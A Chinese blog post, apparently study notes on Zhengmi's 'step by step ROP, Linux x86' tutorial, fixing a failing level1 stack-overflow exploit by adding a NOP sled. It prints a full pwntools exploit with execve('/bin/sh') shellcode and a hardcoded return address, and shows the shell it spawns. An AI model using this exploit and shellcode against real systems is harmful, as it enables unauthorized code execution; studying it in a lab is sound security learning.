蒸米原文链接(一步一步学 ROP 之 Linux_x86 篇)
蒸米GitHub链接
最近在学习蒸米的ROP_x86教程,遇到了问题:
level1:执行exp后,提示 Got EOF while reading in interactive 后退出了。

环境:

ubuntu-16.04.6-desktop-i386

原exp执行结果:

python exp1.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './level1': pid 3934
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ whoami
[*] Process './level1' stopped with exit code -11 (SIGSEGV) (pid 3934)
[*] Got EOF while sending in interactive

错误原因:

payload地址定位不准

解决方法:

加入滑板指令(NOP)

修改exp的payload:

#!/usr/bin/env python
from pwn import *p = process('./level1')
#p = remote('127.0.0.1',10001)
ret = 0xbfffeda0# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"payload = "\x90" * 20 #NOP的机器码为0x90
payload +=  shellcode + 'A' * (140 - len(shellcode) - 30)   + p32(ret)p.send(payload)p.interactive()

修改exp后执行结果:

$ python exp1.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './level1': pid 4604
[*] Switching to interactive mode
$ whoami
ubuntu16-x86
$

蒸米ROP学习笔记(一步一步学 ROP 之 Linux_x86 篇)相关推荐

  1. 蒸米ROP_X86学习总结

    蒸米的相关附件感兴趣自行下载 学了点蒸米的ROP笔记,自己来写个总结 ROP是啥 全称为Return-oriented programming,核心是利用ret指令控制执行顺序,作为一种高级的攻击内存 ...

  2. 【Java】学习笔记2——从小白到入门(技术提升篇)

    写在前面 [Java]学习笔记1--从小小白到小白 (基础知识篇)里记录了Java中最最基础的知识,在对基础知识有了基本了解之后,就可以开始着手技术提升了.本篇博客也将延续第一篇,继续记录我的Java ...

  3. Python3《机器学习实战》学习笔记(五):朴素贝叶斯实战篇之新浪新闻分类

    转载请注明作者和出处:http://blog.csdn.net/c406495762 Github代码获取:https://github.com/Jack-Cherish/Machine-Learni ...

  4. lua 学习笔记---游戏开发第一步

    lua 学习笔记-从数组开始 数组 数组大小范围不一定需要在声明是确定,可以改变 一维数组 例 > array = {"Lua", "lualu"} &g ...

  5. 下载的长数据怎么分开R语言_R语言学习笔记(一):学代码,我们从最基础的开始...

    *本文是本人在学习 res method 课程中反复学不会被自己蠢到的笔记作品,仅供本人娱乐使用,如果恰好里面的内容也能帮到你,那可真是太好了. 同学们,我们这节课来学习R语言,那么我们为什么要学习R ...

  6. PS学习笔记二:跟着李涛学PS第二讲——绘画与修饰工具

    本人的学习笔记是在学习李涛老师的视频的时候整理的个人学习笔记,如有侵权,请联系我删除.本人是个门外汉,整理的笔记如有错误,欢迎大家指出哦. 第二讲:绘画与修饰工具 工具栏: 前6个:移动工具组: 中间 ...

  7. 学习笔记:SpringCloud 微服务技术栈_实用篇①_基础知识

    若文章内容或图片失效,请留言反馈.部分素材来自网络,若不小心影响到您的利益,请联系博主删除. 前言 学习视频链接 SpringCloud + RabbitMQ + Docker + Redis + 搜 ...

  8. Vue全家桶学习笔记_零基础入门到入坑:Vue篇

    文章目录 前言 什么是Vue,什么又是框架 完善的准备 Vue 引入 npm 安装 cnpm镜像加速器 安装 Vue-Cli脚手架 安装 webpack 安装 webpack-cli 安装 axios ...

  9. 学习笔记:SpringCloud 微服务技术栈_实用篇②_黑马旅游案例

    若文章内容或图片失效,请留言反馈.部分素材来自网络,若不小心影响到您的利益,请联系博主删除. 前言 学习视频链接 SpringCloud + RabbitMQ + Docker + Redis + 搜 ...

最新文章

  1. 汇编语言 字母的大小写转换
  2. 【ios开发】图片拉伸
  3. android 填满手机磁盘空间方法
  4. 浅析ASP.NET应用ViewState技术
  5. [数据库] Navicat for MySQL触发器更新和插入操作
  6. php redis删除所有key,php redis批量删除key的方法
  7. vim编辑器的使用--转自MJ学长
  8. Jenkins入门指南
  9. 百度任务型对话系统小记
  10. Android情人节短信祝福源码
  11. 近年NOIP普及组复赛题目的简单讲解
  12. jsp 静态资源 打入jar
  13. 在线CSV转TSV工具
  14. 修复/boot及/etc/fstab、自制linux、编译安装内核
  15. jquery+Bootstrap作品实现教程
  16. 教师资格证报名照片有什么要求?这些小细节要注意
  17. Word文档中不显示图片(只有框)
  18. MySQL 第六章
  19. 信息检索——BM25算法实现(自己写)
  20. jQuery移除或禁用html元素的点击事件

热门文章

  1. %3c?php+eval,callback噩梦:解析著名CMS框架Drupal SQL注入漏洞
  2. 什么是期权,50ETF期权投资要点是什么?
  3. 如何成为一颗 GitHub Star
  4. Valgrind 内存管理工具Memcheck 基本使用
  5. 比Switch...Case更加优雅的多条件判断写法
  6. QQ群78928780记录整理:90521-精华
  7. 卸载Macfee杀毒软件之后Outlook无法加载项scanotlk.dll,outlook已经将其禁用
  8. 工业智能网关BL110应用之34:实现台达 PLC Delta_DVP 接入OPC UA云平台
  9. transformer学习之多头注意力机制
  10. 世卫组织:2岁前不应看电子屏幕!看手机真的会网脱么?